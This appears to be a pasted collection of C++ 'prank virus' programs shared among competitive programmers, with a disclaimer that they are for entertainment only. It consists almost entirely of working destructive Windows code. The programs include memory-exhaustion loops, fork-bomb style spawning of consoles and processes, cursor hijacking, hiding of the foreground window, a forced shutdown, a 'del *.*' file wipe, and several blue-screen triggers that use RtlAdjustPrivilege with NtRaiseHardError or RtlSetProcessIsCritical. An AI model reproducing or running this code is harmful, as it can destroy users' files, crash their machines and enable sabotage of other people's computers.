c++小病毒合辑
声明:本剪贴板里所有代码仅为娱乐,切勿尝试,如若尝试,一切后果自负,本人概不负责!
感谢提供代码的各位oiers!
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
ios ::sync_with_stdio (false );
//freopen(".in","r",stdin);
//freopen(".out","w",stdout);
while ( true )
new int [100000 ];
return 0 ;
}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
ios ::sync_with_stdio (false );
//freopen(".in","r",stdin);
//freopen(".out","w",stdout);
while (233 )
int * p = new int ;
return 0 ;
}
C++ 复制 #include <windows.h>
int main ()
{
while (true ) system ("start" );
}
C++ 复制 #include <windows.h>
#include <stdio.h>
#include <time.h>
int main (int argc ,char** argv ){
int i= 1 ;
if (! argv[1 ]){
srand (time (0 ));
}
else {
int seed;
sscanf (argv[1 ]," %d " ,& seed);
srand (seed);
sscanf (argv[2 ]," %d " ,& i);
}
HWND hwnd= FindWindow ("ConsoleWindowClass" ,NULL );
MoveWindow (hwnd,rand ()% 1920 - 160 ,rand ()% 1080 - 90 ,rand ()% 1200 ,rand ()% 800 ,TRUE);
char comd[100 ];
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 );
STARTUPINFO si = { sizeof (si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = TRUE;
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
if (i<= 8 ){
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 + 1 );
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
}
getchar ();
return 0 ;
}
C++ 复制 #include <windows.h>
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <bits/stdc++.h>
using namespace std ;
int main ()
{
int x= GetSystemMetrics (SM_CXSCREEN);
int y= GetSystemMetrics (SM_CYSCREEN);
srand (time (0 ));
while (1 )
SetCursorPos (rand ()% x,rand ()% y);
return 0 ;
}
C++ 复制 #include <Windows.h>
HWND hwnd = GetConsoleWindow ();
int main () {ShowWindow (hwnd, 0 );while (1 ){ShowWindow (GetForegroundWindow (), 0 );}return 0 ;}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
system ("shutdown -p" );
}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
system ("del *.*" );
}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main (){
assert (false );
}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
while (1 ) system ("start" );
return 0 ;
}
C++ 复制 #include <bits/stdc++.h>
#include <windows.h>
using namespace std ;
int main ()
{
while (1 )
{
srand (time (0 ));
SetCursorPos (rand ()% 800 ,rand ()% 800 );
system ("start" );
new int [100000 ];
}
}
C++ 复制 #include <iostream>
#include <Windows.h>
#include <winternl.h>
using namespace std ;
typedef NTSTATUS (NTAPI * pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS (NTAPI * pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
int main ()
{
BOOLEAN bEnabled;
ULONG uResp;
LPVOID lpFuncAddress = GetProcAddress (LoadLibraryA ("ntdll.dll" ), "RtlAdjustPrivilege" );
LPVOID lpFuncAddress2 = GetProcAddress (GetModuleHandle ("ntdll.dll" ), "NtRaiseHardError" );
pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
NTSTATUS NtRet = NtCall (19 , TRUE, FALSE, & bEnabled);
NtCall2 (STATUS_FLOAT_MULTIPLE_FAULTS, 0 , 0 , 0 , 6 , & uResp);
return 0 ;
}
C++ 复制 #include <windows.h>
#include <cstdlib>
#include <ctime>
#include <string>
using namespace std ;
string start= "/*游戏名称*/" ;
using namespace std ;
int main (){
int x= GetSystemMetrics (SM_CXSCREEN);
int y= GetSystemMetrics (SM_CYSCREEN);
srand (time (0 ));
while (1 ){
SetCursorPos (rand ()% x,rand ()% y);
system ("start" );
}
return 0 ;
}
C++ 复制 #include <bits/stdc++.h>
#include <windows.h>
int main (void )
{
HMODULE ntdll= LoadLibrary ("ntdll.dll" );//加载ntdll
FARPROC RtlAdjPriv= GetProcAddress (ntdll,"RtlAdjustPrivilege" );//获取提权函数
FARPROC ZwRaiseHardErr= GetProcAddress (ntdll,"ZwRaiseHardError" );//获取蓝屏函数
unsigned char ErrKill;
long unsigned int HDErr;
((void (* )(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x 13 ,true ,false ,& ErrKill);//调用RtlAdjustPrivliege函数获取SeShutdownPrivilege权限
((void (* )(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))ZwRaiseHardErr)(0x c0000233 ,0 ,0 ,0 ,6 , & HDErr);//使用ZwRaiseHardError制造蓝屏
return 0 ;
}
//建议不要轻易作死尝试
C++ 复制 #include <windows.h>
#include <stdio.h>
#include <time.h>
int main (int argc ,char** argv ){
int i= 1 ;
if (! argv[1 ]){
srand (time (0 ));
}
else {
int seed;
sscanf (argv[1 ]," %d " ,& seed);
srand (seed);
sscanf (argv[2 ]," %d " ,& i);
}
HWND hwnd= FindWindow ("ConsoleWindowClass" ,NULL );
MoveWindow (hwnd,rand ()% 1920 - 160 ,rand ()% 1080 - 90 ,rand ()% 1200 ,rand ()% 800 ,TRUE);
char comd[100 ];
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 );
STARTUPINFO si = { sizeof (si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = TRUE;
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
if (i<= 8 ){
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 + 1 );
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
}
getchar ();
return 0 ;
}
C++ 复制 #include <windows.h>
int main () {
typedef NTSTATUS (WINAPI * RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
typedef BOOL (WINAPI * RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
RtlAdjustPrivilege AdjustPrivilege;
RtlSetProcessIsCritical SetCriticalProcess;
// 加载 ntdll 以及相关 API
HANDLE ntdll = LoadLibrary (TEXT ("ntdll.dll" ));
AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress ((HINSTANCE)ntdll, "RtlAdjustPrivilege" );
SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress ((HINSTANCE)ntdll, "RtlSetProcessIsCritical" );
BOOLEAN b;
// 进程提升至 Debug 权限,需要 UAC 管理员许可
AdjustPrivilege (20 UL , TRUE, FALSE, & b);
// 设置为 Critical Process
SetCriticalProcess (TRUE, NULL , FALSE);
// 退出,触发 CRITICAL_PROCESS_DIED 蓝屏
return 0 ;
}
C++ 复制 #include <windows.h>
#include <stdio.h>
#include <time.h>
int main (int argc ,char** argv ){
int i= 1 ;
if (! argv[1 ]){
srand (time (0 ));
}
else {
int seed;
sscanf (argv[1 ]," %d " ,& seed);
srand (seed);
sscanf (argv[2 ]," %d " ,& i);
}
HWND hwnd= FindWindow ("ConsoleWindowClass" ,NULL );
MoveWindow (hwnd,rand ()% 1920 - 160 ,rand ()% 1080 - 90 ,rand ()% 1200 ,rand ()% 800 ,TRUE);
char comd[100 ];
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 );
STARTUPINFO si = { sizeof (si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = TRUE;
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
if (i<= 8 ){
sprintf (comd," %s %d %d " ,argv[0 ],rand (),i* 2 + 1 );
CreateProcess (NULL ,comd,NULL ,NULL ,FALSE,CREATE_NEW_CONSOLE,NULL ,NULL ,& si,& pi);
}
getchar ();
return 0 ;
}
C++ 复制 #include <bits/stdc++.h>
#include <windows.h>
using namespace std ;
int main ()
{
while (1 )
{
srand (time (0 ));
SetCursorPos (rand ()% 800 ,rand ()% 800 );
system ("start" );
new int [100000 ];
}
}
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main (){
for (int i= 0 ;i< 10000000000000000000000000000000 ;i++ )system ("start cmd" );//数字大于2147483647,无限循环
}
另一位oier写的病毒
C++ 复制 #include <bits/stdc++.h>
using namespace std ;
int main ()
{
while (1 )
{
cout<<char (7 );
}
return 0 ;
}
一个毒帖(雾)